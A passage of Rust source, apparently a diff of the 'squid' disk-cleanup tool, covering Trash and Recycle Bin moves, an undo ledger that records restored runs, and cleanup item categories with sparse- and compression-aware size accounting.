PathBuf::from("/Library/Application Support/CrashReporter"),
PathBuf::from("/private/var/log"),
PathBuf::from("/private/var/folders"),
PathBuf::from("/Volumes"),
];
anchors.push(home.join("Documents"));
anchors.push(home.join("Downloads"));
anchors.push(home.join("Desktop"));
anchors.retain(|p| p.exists());
anchors
}
/// Where `path` would land in the Trash, honouring per-volume `.Trashes`.
///
/// Returns `None` on Windows: the shell Recycle Bin is written through
/// `IFileOperation`, which does not hand out a destination path, so the
/// ledger records no physical trash location there and undo relies on the
/// Recycle Bin UI.
pub fn trash_target_for(path: &Path) -> Option<PathBuf> {
#[cfg(windows)]
{
let _ = path;
None
}
#[cfg(not(windows))]
{
Some(unix_trash_target_for(path))
}
}
#[cfg(not(windows))]
fn unix_trash_target_for(path: &Path) -> PathBuf {
let name = path
.file_name()
.map(|n| n.to_string_lossy().into_owned())
.unwrap_or_else(|| "item".into());
let dir = trash_dir_for(path);
let mut candidate = dir.join(&name);
let mut counter = 2usize;
while candidate.exists() {
let (stem, ext) = split_name(&name);
let renamed = if ext.is_empty() {
format!("{stem} {counter}")
} else {
format!("{stem} {counter}.{ext}")
};
candidate = dir.join(renamed);
counter += 1;
}
candidate
}
#[cfg(not(windows))]
fn split_name(name: &str) -> (String, String) {
// Only the last extension of bundles/apps is cosmetic; ".app" stays whole.
if let Some(rest) = name.strip_suffix(".app") {
return (rest.to_string(), "app".to_string());
}
match name.rsplit_once('.') {
Some((stem, ext)) if !stem.is_empty() && !ext.is_empty() => {
(stem.to_string(), ext.to_string())
}
_ => (name.to_string(), String::new()),
}
}
#[cfg(not(windows))]
fn trash_dir_for(path: &Path) -> PathBuf {
let uid = unsafe { libc::getuid() };
let volume_root = volume_root_for(path);
if !volume_root.as_os_str().is_empty() {
let per_volume = volume_root.join(".Trashes").join(uid.to_string());
if can_write(&per_volume) || ensure_dir(&per_volume) {
return per_volume;
}
}
let home_trash = paths::home_dir().join(".Trash");
if ensure_dir(&home_trash) {
return home_trash;
}
paths::home_dir().join(".Trash")
}
#[cfg(not(windows))]
fn can_write(dir: &Path) -> bool {
let probe = dir.join(format!(".squid-probe-{}", std::process::id()));
match OpenOptions::new().create_new(true).write(true).open(&probe) {
Ok(_) => {
let _ = std::fs::remove_file(&probe);
true
}
Err(_) => false,
}
}
#[cfg(not(windows))]
fn ensure_dir(dir: &Path) -> bool {
if dir.is_dir() {
return true;
}
std::fs::create_dir_all(dir).is_ok()
}
pub fn volume_root_for(path: &Path) -> PathBuf {
let abs = if path.is_absolute() {
path.to_path_buf()
} else {
std::env::current_dir().unwrap_or_default().join(path)
};
let s = abs.to_string_lossy().into_owned();
if let Some(rest) = s.strip_prefix("/Volumes/") {
if let Some(idx) = rest.find('/') {
return PathBuf::from(format!("/Volumes/{}", &rest[..idx]));
}
return PathBuf::from(s);
}
if s.starts_with("/System/Volumes/Data") {
return PathBuf::from("/System/Volumes/Data");
}
PathBuf::from("/")
}
/// Move to Trash, copying first when the target lives on another volume.
/// The returned path is where the item physically landed, or `None` on
/// Windows where the shell keeps the Recycle Bin bookkeeping.
pub fn trash_path(path: &Path) -> Result<Option<PathBuf>> {
#[cfg(windows)]
{
recycle_bin::move_to_recycle_bin(path)?;
Ok(None)
}
#[cfg(not(windows))]
trash_path_unix(path)
}
#[cfg(not(windows))]
fn trash_path_unix(path: &Path) -> Result<Option<PathBuf>> {
let destination = unix_trash_target_for(path);
match std::fs::rename(path, &destination) {
Ok(()) => Ok(Some(destination)),
Err(_) => {
copy_tree(path, &destination)?;
let kind = if path.is_dir() {
ItemKind::Path
} else {
ItemKind::File
};
match kind {
ItemKind::Path => {
let _ = std::fs::remove_dir_all(path);
}
ItemKind::File | ItemKind::Contents => {
std::fs::remove_file(path).map_err(|e| SquidError::io(path, e))?;
}
}
Ok(Some(destination))
}
}
}
#[cfg(not(windows))]
fn copy_tree(from: &Path, to: &Path) -> Result<()> {
let meta = std::fs::symlink_metadata(from).map_err(|e| SquidError::io(from, e))?;
if meta.file_type().is_symlink() {
let target = std::fs::read_link(from).map_err(|e| SquidError::io(from, e))?;
std::os::unix::fs::symlink(&target, to).map_err(|e| SquidError::io(to, e))?;
return Ok(());
}
if meta.is_dir() {
std::fs::create_dir_all(to).map_err(|e| SquidError::io(to, e))?;
let entries = std::fs::read_dir(from).map_err(|e| SquidError::io(from, e))?;
for entry in entries.flatten() {
copy_tree(&entry.path(), &to.join(entry.file_name()))?;
}
return Ok(());
}
let mut reader = File::open(from).map_err(|e| SquidError::io(from, e))?;
let mut writer = File::create(to).map_err(|e| SquidError::io(to, e))?;
let mut buffer = vec![0u8; 1 << 20];
loop {
let read = reader
.read(&mut buffer)
.map_err(|e| SquidError::io(from, e))?;
if read == 0 {
break;
}
writer
.write_all(&buffer[..read])
.map_err(|e| SquidError::io(to, e))?;
}
Ok(())
}
/// Empty the user's Trash. Deliberately shallow: only top level entries.
pub fn empty_trash() -> Result<(usize, Bytes)> {
let trash = paths::home_dir().join(".Trash");
if !trash.is_dir() {
return Ok((0, Bytes::ZERO));
}
let mut removed = 0usize;
let mut freed = Bytes::ZERO;
let entries: Vec<PathBuf> = std::fs::read_dir(&trash)
.map_err(|e| SquidError::io(&trash, e))?
.flatten()
.map(|e| e.path())
.filter(|p| {
!p.file_name()
.map(|n| n.to_string_lossy().starts_with(".squid-probe-"))
.unwrap_or(false)
})
.collect();
for path in entries {
let size = measure(&path, ItemKind::Path);
let allocated = size.on_disk();
let result = if path.is_dir() && !path.is_symlink() {
std::fs::remove_dir_all(&path)
} else {
std::fs::remove_file(&path)
};
if result.is_ok() {
removed += 1;
freed += allocated;
}
}
Ok((removed, freed))
}
/// Shared handle type used by long-running jobs.
pub type SharedCancel = Arc<CancelToken>;
#[cfg(test)]
mod tests {
use super::*;
use std::fs;
/// Scratch directory that goes away even when an assertion panics halfway
/// through the test.
///
/// This is not housekeeping: a file extended with `set_len` is charged as
/// if it were written in full, so a fixture that survives a failure sits on
/// a real disk at its full logical size. One did — 11 GB of them, in
/// `AppData\Local\Temp`, where squid then did exactly the right thing and
/// offered them up as Temp junk.
struct TempRoot {
path: PathBuf,
}
impl TempRoot {
/// Managed dev boxes with an endpoint protector sometimes refuse
/// scratch writes from a freshly built unsigned test binary (error 5,
/// in %TEMP% and target/tmp alike). Tests that only need a scratch
/// tree use this and skip instead of reporting a code failure.
fn try_new(tag: &str) -> Option<Self> {
let path = std::env::temp_dir().join(format!("squid-{tag}-{}", std::process::id()));
let _ = fs::remove_dir_all(&path);
match fs::create_dir_all(&path) {
Ok(()) => Some(Self { path }),
Err(error) if error.kind() == std::io::ErrorKind::PermissionDenied => {
eprintln!("skipping: scratch dir write denied ({error})");
None
}
Err(error) => panic!("scratch dir: {error}"),
}
}
}
impl Drop for TempRoot {
fn drop(&mut self) {
let _ = fs::remove_dir_all(&self.path);
}
}
#[test]
fn measures_contents_and_path() {
let Some(tmp) = TempRoot::try_new("size") else {
return;
};
let root = &tmp.path;
fs::create_dir_all(root.join("a/b")).unwrap();
fs::write(root.join("a/b/file.bin"), vec![7u8; 4096]).unwrap();
let whole = measure(root, ItemKind::Path);
assert!(whole.logical.as_u64() >= 4096);
assert_eq!(whole.files, 1);
// `Contents` still counts the children; the directory entry has no size
// of its own, so totals match but the top dir is not counted.
let contents = measure(root, ItemKind::Contents);
assert_eq!(contents.files, 1);
assert!(contents.dirs < whole.dirs);
}
/// A thin-provisioned disk image is the reason `max(logical, allocated)`
/// is forbidden: Docker's `Docker.raw` reports a terabyte of logical
/// length while the SSD behind it holds 256 GB in total.
///
/// Holes come free on POSIX — `set_len` extends without allocating — so the
/// fixture needs no privilege here. Windows needs a different fixture and
/// gets its own test below.
#[test]
#[cfg(unix)]
fn a_sparse_file_counts_for_what_it_really_uses() {
let Some(tmp) = TempRoot::try_new("sparse") else {
return;
};
let root = &tmp.path;
// One gibibyte is plenty to show the property and small enough that a
// nearly full disk can still extend to it.
const SPARSE_LEN: u64 = 1 << 30;
let raw = root.join("Docker.raw");
let file = fs::File::create(&raw).unwrap();
if file.set_len(SPARSE_LEN).is_err() {
// Volumes with a space-reservation filter answer `SetEndOfFile`
// with ERROR_DISK_FULL instead of handing out a hole.
eprintln!("skipped: this volume will not extend a file without the space");
return;
}
drop(file);
// One block of real data, so the file has both a hole and a tail the
// volume had to hand over — the shape of an actual thin disk image.
let mut hole = fs::OpenOptions::new().write(true).open(&raw).unwrap();
std::io::Write::write_all(&mut hole, &[3u8; 4096]).unwrap();
drop(hole);
let info = measure(root, ItemKind::Path);
assert_eq!(info.logical, Bytes(SPARSE_LEN), "logical length is 1 GiB");
assert!(
info.on_disk().as_u64() * 100 < info.logical.as_u64(),
"the walk reported {}/{}; a sparse file must count as the blocks \
it wrote",
info.on_disk(),
info.logical
);
}
/// NTFS is the other way round: extending a file really does allocate the
/// whole thing (a 1 GiB `SetEndOfFile` file reported 1 GiB allocated and
/// moved free space by 1 GiB), so a hole is not how Windows hides size.
/// Compression is, and it is common — `compact`/CompactOS ships on devices
/// with small eMMC, where a whole profile is stored compressed.
///
/// `compact` is the only supported way to provoke it from a test: the
/// `FSCTL_SET_COMPRESSION` request answers `ERROR_ACCESS_DENIED` on this
/// volume even for a file we created ourselves, and setting
/// `FILE_ATTRIBUTE_COMPRESSED` on a file that already has clusters leaves
/// those clusters uncompressed. Both were measured, not assumed.
#[test]
#[cfg(windows)]
fn a_compressed_file_counts_for_what_the_volume_stored() {
use std::os::windows::fs::MetadataExt;
use std::process::Command;
let Some(tmp) = TempRoot::try_new("compressed") else {
return;
};
let root = &tmp.path;
// A short repeating period: compresses several fold, so the assertion
// cannot pass merely because a volume ignored the request the way
// random bytes would let it.
const LEN: usize = 8 << 20;
let path = root.join("pattern.bin");
let payload: Vec<u8> = (0..LEN).map(|i| (i % 509) as u8).collect();
fs::write(&path, &payload).unwrap();
// Run from inside the directory so the volume never sees a path that
// needs quoting.
let ran = Command::new("compact")
.args(["/c", "/i", "/s:."])
.current_dir(root)
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null())
.status();
let compressed_flag = 0x0800; // FILE_ATTRIBUTE_COMPRESSED
let marked = fs::metadata(&path)
.map(|meta| meta.file_attributes() & compressed_flag != 0)
.unwrap_or(false);
if !ran.map(|status| status.success()).unwrap_or(false) || !marked {
eprintln!("skipped: this volume will not compress the fixture");
return;
}
let info = measure(root, ItemKind::Path);
assert_eq!(
info.logical,
Bytes(LEN as u64),
"logical length is unchanged"
);
assert!(
info.on_disk().as_u64() * 2 < info.logical.as_u64(),
"the walk reported {}/{}; a compressed file must count as the bytes \
the volume stored",
info.on_disk(),
info.logical
);
}
/// The invariant both platforms must satisfy: a file that was really
/// written occupies at least what it logically holds. A port that forgets
/// to answer the allocation question returns 0 here, and every "freed"
/// number downstream quietly becomes the logical size.
///
/// Written end to end, deliberately not extended with `set_len`: a hole
/// makes the expected answer platform-specific again (POSIX may or may not
/// count reserved blocks, and macOS was observed to disagree with itself
/// depending on when the stat landed), and holes are what the two tests
/// above are for.
#[test]
fn a_written_file_reports_what_the_volume_gave_it() {
let Some(tmp) = TempRoot::try_new("alloc") else {
return;
};
let root = &tmp.path;
const SOLID_LEN: usize = 8 << 20;
let mut file = fs::File::create(root.join("solid.bin")).unwrap();
let payload = vec![9u8; SOLID_LEN];
std::io::Write::write_all(&mut file, &payload).unwrap();
file.sync_all().unwrap();
drop(file);
let info = measure(root, ItemKind::Path);
assert_eq!(info.logical, Bytes(SOLID_LEN as u64));
assert!(
info.allocated >= info.logical,
"a freshly written file reported {} of {} allocated; clusters only round up",
info.allocated,
info.logical
);
}
#[test]
fn thousand_separators() {
assert_eq!(format_thousands(0), "0");
assert_eq!(format_thousands(1234), "1,234");
assert_eq!(format_thousands(1_234_567), "1,234,567");
}
#[test]
#[cfg(not(windows))]
fn trash_target_avoids_collisions() {
let Some(tmp) = TempRoot::try_new("trash") else {
return;
};
let dir = &tmp.path;
let victim = dir.join("victim");
fs::write(&victim, b"hi").unwrap();
let first = trash_target_for(&victim).expect("unix trash targets are predictable");
assert!(first.starts_with(trash_dir_for(&victim)));
}
}
/// Windows Recycle Bin backend built on `IFileOperation`. The shell owns the
/// `$Recycle.Bin` bookkeeping (`$I`/`$R` metadata), so squid only asks it to
/// recycle the item and never touches the bin directory itself.
#[cfg(windows)]
mod recycle_bin {
use crate::error::{Result, SquidError};
use std::io;
use std::path::Path;
use windows::core::PCWSTR;
use windows::Win32::Foundation::RPC_E_CHANGED_MODE;
use windows::Win32::Foundation::{E_ABORT, E_INVALIDARG};
use windows::Win32::System::Com::{
CoCreateInstance, CoInitializeEx, CoUninitialize, CLSCTX_INPROC_SERVER,
COINIT_APARTMENTTHREADED,
};
use windows::Win32::UI::Shell::{
FileOperation, IFileOperation, IShellItem, SHCreateItemFromParsingName, FOF_ALLOWUNDO,
FOF_NOCONFIRMATION, FOF_NOCONFIRMMKDIR, FOF_NOERRORUI, FOF_SILENT,
};
fn to_wide(value: &str) -> Vec<u16> {
value.encode_utf16().chain(std::iter::once(0)).collect()
}
pub fn move_to_recycle_bin(path: &Path) -> Result<()> {
// IFileOperation needs a COM apartment. The engine deletes from a
// dedicated worker, so we own the lifetime here unless the thread is
// already initialised in a different model.
let init = unsafe { CoInitializeEx(None, COINIT_APARTMENTTHREADED) };
let uninit = init != RPC_E_CHANGED_MODE;
let result = unsafe { recycle_inner(path) };
if uninit {
unsafe { CoUninitialize() };
}
result.map_err(|err| SquidError::Io {
path: path.to_path_buf(),
source: io::Error::from_raw_os_error(err.code().0),
})
}
unsafe fn recycle_inner(path: &Path) -> windows::core::Result<()> {
// IShellItem parsing does not accept verbatim (`\\?\`) paths.
let display = path
.to_str()
.ok_or_else(|| windows::core::Error::from_hresult(E_INVALIDARG))?;
let wide = to_wide(display);
let operation: IFileOperation =
CoCreateInstance(&FileOperation, None, CLSCTX_INPROC_SERVER)?;
// `FOF_ALLOWUNDO` is the whole point, and it is not implied. Measured on
// a real box: without it `DeleteItem` returns S_OK, the bytes are gone
// from the disk, `C:\$Recycle.Bin` does not move by a single byte, and
// squid's ledger says `mode: trash` — a cleanup that silently broke its
// own "everything goes to the Trash first" promise. `IFileOperation`
// also has a `RecycleItem` verb, which would say it out loud, but
// windows-rs does not project that vtable slot yet.
operation.SetOperationFlags(
FOF_ALLOWUNDO | FOF_SILENT | FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_NOCONFIRMMKDIR,
)?;
let item = SHCreateItemFromParsingName::<
PCWSTR,
Option<&windows::Win32::System::Com::IBindCtx>,
IShellItem,
>(PCWSTR(wide.as_ptr()), None)?;
operation.DeleteItem(Some(&item), None)?;
operation.PerformOperations()?;
// A shell verb can report S_OK and still have declined the work — the
// progress sink abort path, a cancelled UAC prompt. Ask, because
// claiming a Trash entry that does not exist is how undo later tells
// the user to go looking in a Recycle Bin that never got the file.
if operation.GetAnyOperationsAborted()?.as_bool() {
return Err(windows::core::Error::from_hresult(E_ABORT));
}
Ok(())
}
}

View File

@ -1,233 +0,0 @@
//! Session history: what was removed, how much it freed, and how to undo it.
//!
//! Every destructive run writes one JSON file under the state directory. That
//! gives `squid history` a timeline and `squid undo` a Trash manifest.
use crate::bytes::Bytes;
use crate::error::{Result, SquidError};
use crate::model::{DeleteMode, ItemKind};
use crate::settings::Settings;
use chrono::{DateTime, Local};
use serde::{Deserialize, Serialize};
use std::path::{Path, PathBuf};
#[derive(Clone, Debug, Serialize, Deserialize)]
pub struct LedgerEntry {
pub path: PathBuf,
pub kind: ItemKind,
pub logical: u64,
pub allocated: u64,
pub trash_path: Option<PathBuf>,
pub category: Option<String>,
}
#[derive(Clone, Debug, Serialize, Deserialize)]
pub struct Session {
pub id: String,
pub started: String,
pub command: String,
pub mode: DeleteMode,
pub logical_freed: u64,
pub allocated_freed: u64,
pub removed: usize,
pub failed: usize,
pub entries: Vec<LedgerEntry>,
pub duration_ms: u64,
/// Whether the user already put this run back with `u`.
///
/// `restore` renamed the files out of ~/.Trash and used to leave the record
/// untouched, so the ledger went on reporting 24 GB as reclaimed after every
/// byte of it had come back. `serde(default)` keeps the history written
/// before this flag existed readable.
#[serde(default)]
pub restored: bool,
}
impl Session {
pub fn started_at(&self) -> Option<DateTime<Local>> {
DateTime::parse_from_rfc3339(&self.started)
.map(|d| d.with_timezone(&Local))
.ok()
}
pub fn freed(&self) -> Bytes {
let allocated = Bytes(self.allocated_freed);
if allocated.is_zero() {
Bytes(self.logical_freed)
} else {
allocated
}
}
/// What the run took off the volume *and left off*.
///
/// Every total the interface prints is this, not [`Session::freed`]: an
/// undone run gave the bytes back, so counting it as reclaimed is how the
/// header comes to promise 27 GB that `df` has never seen. The row itself
/// still shows `freed()` — the record of what happened is true even after
/// the undo.
pub fn kept(&self) -> Bytes {
if self.restored {
Bytes::ZERO
} else {
self.freed()
}
}
}
pub fn history_dir() -> PathBuf {
Settings::state_dir().join("history")
}
fn session_path(id: &str) -> PathBuf {
history_dir().join(format!("{id}.json"))
}
pub fn new_session_id() -> String {
let stamp = Local::now().format("%Y%m%d-%H%M%S");
let rand: u16 = {
use std::collections::hash_map::DefaultHasher;
use std::hash::{Hash, Hasher};
let mut hasher = DefaultHasher::new();
std::time::SystemTime::now().hash(&mut hasher);
(hasher.finish() & 0xffff) as u16
};
format!("{stamp}-{rand:04x}")
}
pub fn write_session(session: &Session) -> Result<PathBuf> {
let dir = history_dir();
std::fs::create_dir_all(&dir).map_err(|e| SquidError::io(&dir, e))?;
let path = session_path(&session.id);
let text =
serde_json::to_string_pretty(session).map_err(|e| SquidError::Other(e.to_string()))?;
std::fs::write(&path, text).map_err(|e| SquidError::io(&path, e))?;
prune(dir.clone(), Settings::load().0.history_keep);
Ok(path)
}
fn prune(dir: PathBuf, keep: usize) {
let Ok(entries) = std::fs::read_dir(&dir) else {
return;
};
let mut files: Vec<PathBuf> = entries
.flatten()
.map(|e| e.path())
.filter(|p| p.extension().map(|e| e == "json").unwrap_or(false))
.collect();
files.sort();
if files.len() > keep {
let stale: Vec<PathBuf> = files.drain(..files.len() - keep).collect();
for path in stale {
let _ = std::fs::remove_file(path);
}
}
}
pub fn load_sessions(limit: usize) -> Vec<Session> {
let dir = history_dir();
let Ok(entries) = std::fs::read_dir(&dir) else {
return Vec::new();
};
let mut sessions: Vec<Session> = entries
.flatten()
.map(|e| e.path())
.filter(|p| p.extension().map(|e| e == "json").unwrap_or(false))
.filter_map(|p| std::fs::read_to_string(p).ok())
.filter_map(|text| serde_json::from_str::<Session>(&text).ok())
.collect();
sessions.sort_by(|a, b| b.id.cmp(&a.id));
sessions.truncate(limit);
sessions
}
pub fn load_session(id: &str) -> Option<Session> {
let text = std::fs::read_to_string(session_path(id)).ok()?;
serde_json::from_str(&text).ok()
}
/// Move everything that is still in the Trash back to its original location.
/// Returns `(restored, skipped)`.
pub fn restore(session: &Session) -> (usize, usize) {
let mut restored = 0;
let mut skipped = 0;
for entry in &session.entries {
let Some(trash_path) = entry.trash_path.as_ref() else {
skipped += 1;
continue;
};
if !trash_path.exists() {
skipped += 1;
continue;
}
if entry.path.exists() {
skipped += 1;
continue;
}
if let Some(parent) = entry.path.parent() {
let _ = std::fs::create_dir_all(parent);
}
if std::fs::rename(trash_path, &entry.path).is_ok() {
restored += 1;
} else {
skipped += 1;
}
}
// Mark the record once the bytes are really back. Without this the ledger
// cannot tell "cleaned 24 GB" from "cleaned 24 GB and put it back", and
// every total built from it is a lie by the amount restored.
if restored > 0 {
let mut record = session.clone();
record.restored = true;
let _ = write_session(&record);
}
(restored, skipped)
}
pub fn path_exists(path: &Path) -> bool {
path.symlink_metadata().is_ok()
}
#[cfg(test)]
mod tests {
use super::*;
/// A ledger written by an older build has no `restored` key. Refusing to
/// read it would empty the history panel on upgrade — the opposite of an
/// honesty fix.
#[test]
fn yesterday_records_still_read() {
let json = r#"{
"id": "20260101-000000-aaaa",
"started": "2026-01-01T00:00:00+08:00",
"command": "squid clean",
"mode": "trash",
"logical_freed": 2048,
"allocated_freed": 1024,
"removed": 1,
"failed": 0,
"entries": [],
"duration_ms": 12
}"#;
let session: Session = serde_json::from_str(json).expect("old record parses");
assert!(!session.restored);
assert_eq!(session.kept(), Bytes(1024));
}
/// An undone run is history, but it is not space.
#[test]
fn an_undone_run_stops_counting_as_space() {
let mut session: Session = serde_json::from_str(
r#"{
"id": "x", "started": "2026-01-01T00:00:00+08:00", "command": "squid clean",
"mode": "trash", "logical_freed": 2048, "allocated_freed": 1024,
"removed": 1, "failed": 0, "entries": [], "duration_ms": 12
}"#,
)
.unwrap();
assert_eq!(session.kept(), Bytes(1024));
session.restored = true;
assert_eq!(session.kept(), Bytes::ZERO);
assert_eq!(session.freed(), Bytes(1024), "the record stays true");
}
}

View File

@ -1,32 +0,0 @@
//! # squid-core
//!
//! Shared vocabulary and safety machinery for squid. Everything that could
//! destroy user data lives behind [`safety::SafetyPolicy`] and
//! [`fs::remove_item`]; engines are expected to never call `std::fs::remove*`
//! directly.
pub mod bytes;
pub mod error;
pub mod fs;
pub mod ledger;
pub mod model;
pub mod paths;
pub mod progress;
pub mod safety;
pub mod settings;
pub use bytes::Bytes;
pub use error::{elevation_hint, Result, SquidError};
pub use model::{
AppInfo, Category, CleanSummary, CleanupItem, DeleteMode, ItemKind, LockReason, ScanReport,
UninstallPlan, Volume,
};
pub use progress::{CancelToken, Event, Progress};
pub use safety::SafetyPolicy;
pub use settings::{Locale, LocaleSource, Settings};
/// Crate version, used by `squid --version` and the history format tag.
pub const VERSION: &str = env!("CARGO_PKG_VERSION");
/// One-liner shown at the top of every TUI screen.
pub const TAGLINE: &str = "clean · uninstall · purge · watch";

View File

@ -1,533 +0,0 @@
//! The vocabulary shared by the engines, the CLI and the TUI.
use crate::bytes::Bytes;
use crate::progress::CancelToken;
use serde::{Deserialize, Serialize};
use std::path::{Path, PathBuf};
/// High level bucket an item belongs to. Mirrors the cards CleanMyMac shows on
/// its cleanup screen so the TUI can render one section per bucket.
#[derive(Clone, Copy, Debug, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
#[serde(rename_all = "kebab-case")]
pub enum Category {
SystemJunk,
AppCaches,
BrowserCaches,
Logs,
Developer,
ProjectArtifacts,
Trash,
LanguagePacks,
Leftovers,
UpdateInstallers,
}
impl Category {
pub const ALL: [Category; 10] = [
Category::SystemJunk,
Category::AppCaches,
Category::BrowserCaches,
Category::Logs,
Category::Developer,
Category::ProjectArtifacts,
Category::Trash,
Category::LanguagePacks,
Category::Leftovers,
Category::UpdateInstallers,
];
pub fn id(self) -> &'static str {
match self {
Category::SystemJunk => "system",
Category::AppCaches => "caches",
Category::BrowserCaches => "browsers",
Category::Logs => "logs",
Category::Developer => "developer",
Category::ProjectArtifacts => "projects",
Category::Trash => "trash",
Category::LanguagePacks => "languages",
Category::Leftovers => "leftovers",
Category::UpdateInstallers => "update-installers",
}
}
pub fn title(self) -> &'static str {
match self {
Category::SystemJunk => "System Junk",
Category::AppCaches => "Application Caches",
Category::BrowserCaches => "Browser Caches",
Category::Logs => "Logs & Crash Reports",
Category::Developer => "Developer Files",
Category::ProjectArtifacts => "Project Artifacts",
Category::Trash => "Trash",
Category::LanguagePacks => "Unneeded Languages",
Category::Leftovers => "Uninstaller Leftovers",
Category::UpdateInstallers => "Update Installers",
}
}
/// Description shown under the header, CleanMyMac style.
pub fn blurb(self) -> &'static str {
match self {
Category::SystemJunk => "Temporary files, caches and scratch data left by macOS",
Category::AppCaches => "Regenerable caches that apps keep in ~/Library/Caches",
Category::BrowserCaches => "Web content, service workers and offline data",
Category::Logs => "Rotated logs, diagnostic reports and crash dumps",
Category::Developer => "DerivedData, simulators, containers, package caches",
Category::ProjectArtifacts => {
"Build outputs and dependency folders inside your projects"
}
Category::Trash => "Files waiting in the Trash",
Category::LanguagePacks => "Speech and localization data for languages you do not use",
Category::Leftovers => "Data belonging to apps that are no longer installed",
Category::UpdateInstallers => "Installer packages apps keep after a successful update",
}
}
pub fn parse(value: &str) -> Option<Category> {
let value = value.trim();
if let Some(found) = Category::ALL.into_iter().find(|c| c.id() == value) {
return Some(found);
}
// Rules are hand-written, so accept the obvious aliases as well.
let key = value.to_ascii_lowercase().replace(['_', ' '], "-");
let key = key.trim_matches('-');
let alias = match key {
"app-cache" | "app-caches" | "cache" | "caches" | "application-caches" => {
Category::AppCaches
}
"browser-cache" | "browser-caches" | "browsers" | "web" => Category::BrowserCaches,
"system-junk" | "system" | "junk" | "temp" => Category::SystemJunk,
"log" | "logs" | "crash" | "crash-reports" => Category::Logs,
"dev" | "developer" | "developer-files" | "xcode" => Category::Developer,
"project" | "projects" | "project-artifacts" | "artifacts" => {
Category::ProjectArtifacts
}
"trash" => Category::Trash,
"language" | "languages" | "language-packs" | "localization" => Category::LanguagePacks,
"leftover" | "leftovers" | "uninstall-leftovers" => Category::Leftovers,
"update-installer" | "update-installers" | "upgrades" | "upgrade-packages" => {
Category::UpdateInstallers
}
_ => return None,
};
Some(alias)
}
}
/// How a path must be emptied. Getting this right is the difference between
/// "freed 2 GB" and "broke the app".
#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "kebab-case")]
pub enum ItemKind {
/// Delete the path and everything under it.
Path,
/// Delete the children only, keep the directory itself (cache roots that
/// must keep existing so the owning app does not recreate them wrongly).
Contents,
/// A single file.
File,
}
/// Why an item cannot be removed in this run.
#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "kebab-case")]
pub enum LockReason {
/// The owning app is running; its caches may be memory-mapped.
AppRunning,
/// Another install of the same bundle id survives, so shared data must stay.
SharedWithOtherInstall,
/// The user protected it through the whitelist.
Whitelisted,
/// Not owned by the current user (needs admin rights).
NotOwned,
/// Inside a protected system location.
Protected,
}
#[derive(Clone, Debug, Serialize, Deserialize)]
pub struct CleanupItem {
pub path: PathBuf,
pub kind: ItemKind,
pub size: Bytes,
pub category: Category,
/// Human readable label, e.g. "Slack cache".
pub label: String,
/// Rule that produced the item; used for whitelist / debug output.
pub rule_id: String,
pub selected: bool,
/// Bytes actually allocated on disk (sparse/compressed aware).
pub allocated: Bytes,
pub lock: Option<LockReason>,
/// Extra context shown in the detail row: "12,431 files".
pub note: Option<String>,
/// Roots the producing rule owns. Deletion re-validates against these so a
/// stale or hand-edited item can never escape its sandbox.
#[serde(default)]
pub anchors: Vec<PathBuf>,
}
impl CleanupItem {
pub fn new(
path: PathBuf,
kind: ItemKind,
category: Category,
label: impl Into<String>,
) -> Self {
let selected = lock_default(kind).is_none();
Self {
path,
kind,
size: Bytes::ZERO,
category,
label: label.into(),
rule_id: String::new(),
selected,
allocated: Bytes::ZERO,
lock: lock_default(kind),
note: None,
anchors: Vec::new(),
}
}
pub fn with_rule(mut self, rule_id: &str) -> Self {
self.rule_id = rule_id.to_string();
self
}
pub fn with_anchors(mut self, anchors: impl IntoIterator<Item = PathBuf>) -> Self {
self.anchors = anchors.into_iter().collect();
self
}
/// Attach a human-readable explanation ("off by default", "unreadable", …).
pub fn with_note(mut self, note: impl Into<String>) -> Self {
self.note = Some(note.into());
self
}
pub fn locked(mut self, reason: LockReason) -> Self {
self.lock = Some(reason);
self.selected = false;
self
}
pub fn is_removable(&self) -> bool {
self.lock.is_none()
}
pub fn display_path(&self) -> String {
crate::paths::pretty(&self.path)
}
/// Bytes the item really occupies on the disk.
///
/// `allocated` comes from `st_blocks`, `size` from `st_size`, and they
/// disagree by orders of magnitude for a sparse file: Docker's
/// `Docker.raw` claims a terabyte of address space on a machine with a
/// 256 GB SSD. Taking the larger of the two is what made squid promise
/// more free space than the disk can hold, so the block count wins.
///
/// On Unix the block count is the filesystem's own answer and is used
/// as-is — a fully sparse image really does occupy nothing, exactly as
/// `du -A` reports. Only a platform without block counts reads a zero as
/// "not measured" and falls back to the logical length.
pub fn on_disk(&self) -> Bytes {
#[cfg(unix)]
{
self.allocated
}
#[cfg(not(unix))]
{
if self.allocated.is_zero() {
self.size
} else {
self.allocated
}
}
}
/// Size to show a human: honours `settings.show_allocated`.
pub fn shown(&self, show_allocated: bool) -> Bytes {
if show_allocated {
self.on_disk()
} else {
self.size
}
}
}
fn lock_default(kind: ItemKind) -> Option<LockReason> {
match kind {
ItemKind::Path | ItemKind::Contents | ItemKind::File => None,
}
}
/// Aggregate produced by every scan.
#[derive(Clone, Debug, Default, Serialize, Deserialize)]
pub struct ScanReport {
pub category: Option<Category>,
pub items: Vec<CleanupItem>,
pub scanned_at_ms: u64,
/// Directories we were not allowed to read (permissions, TCC).
pub unreadable: u32,
/// Rules that matched nothing, kept for `--debug`.
pub skipped_rules: Vec<String>,
}
impl ScanReport {
/// What the checked items are worth: the same rule as
/// [`CleanupItem::on_disk`], never the logical size. A report is read as
/// "this much space comes back", and a 1 TiB sparse `Docker.raw` that
/// occupies 12 GB is exactly the case where the two numbers differ by an
/// order of magnitude — the interface that counted `item.size` announced
/// "1.1 TB" over a 256 GB disk.
pub fn total(&self) -> Bytes {
self.items
.iter()
.filter(|i| i.selected)
.map(|i| i.on_disk())
.sum()
}
/// Every item, checked or not. See [`Self::total`] for why this counts the
/// space occupied rather than the space claimed.
pub fn total_all(&self) -> Bytes {
self.items.iter().map(|i| i.on_disk()).sum()
}
pub fn selected_count(&self) -> usize {
self.items.iter().filter(|i| i.selected).count()
}
/// Biggest first, by the space actually occupied, so the order of the list
/// matches the number printed beside each row.
pub fn sorted(mut self) -> Self {
self.items.sort_by(|a, b| {
b.on_disk()
.cmp(&a.on_disk())
.then_with(|| a.label.to_lowercase().cmp(&b.label.to_lowercase()))
});
self
}
pub fn merge(&mut self, other: ScanReport) {
self.items.extend(other.items);
self.unreadable += other.unreadable;
